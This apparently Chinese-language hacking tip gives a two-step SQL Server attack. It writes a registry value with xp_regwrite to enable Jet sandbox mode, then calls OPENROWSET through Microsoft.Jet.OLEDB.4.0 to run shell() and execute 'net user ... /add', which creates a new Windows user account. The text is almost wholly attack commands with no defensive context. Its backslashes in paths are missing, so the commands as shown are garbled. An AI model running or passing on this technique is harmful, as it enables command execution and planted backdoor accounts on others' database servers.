首先开启沙盘模式：

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行系统命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')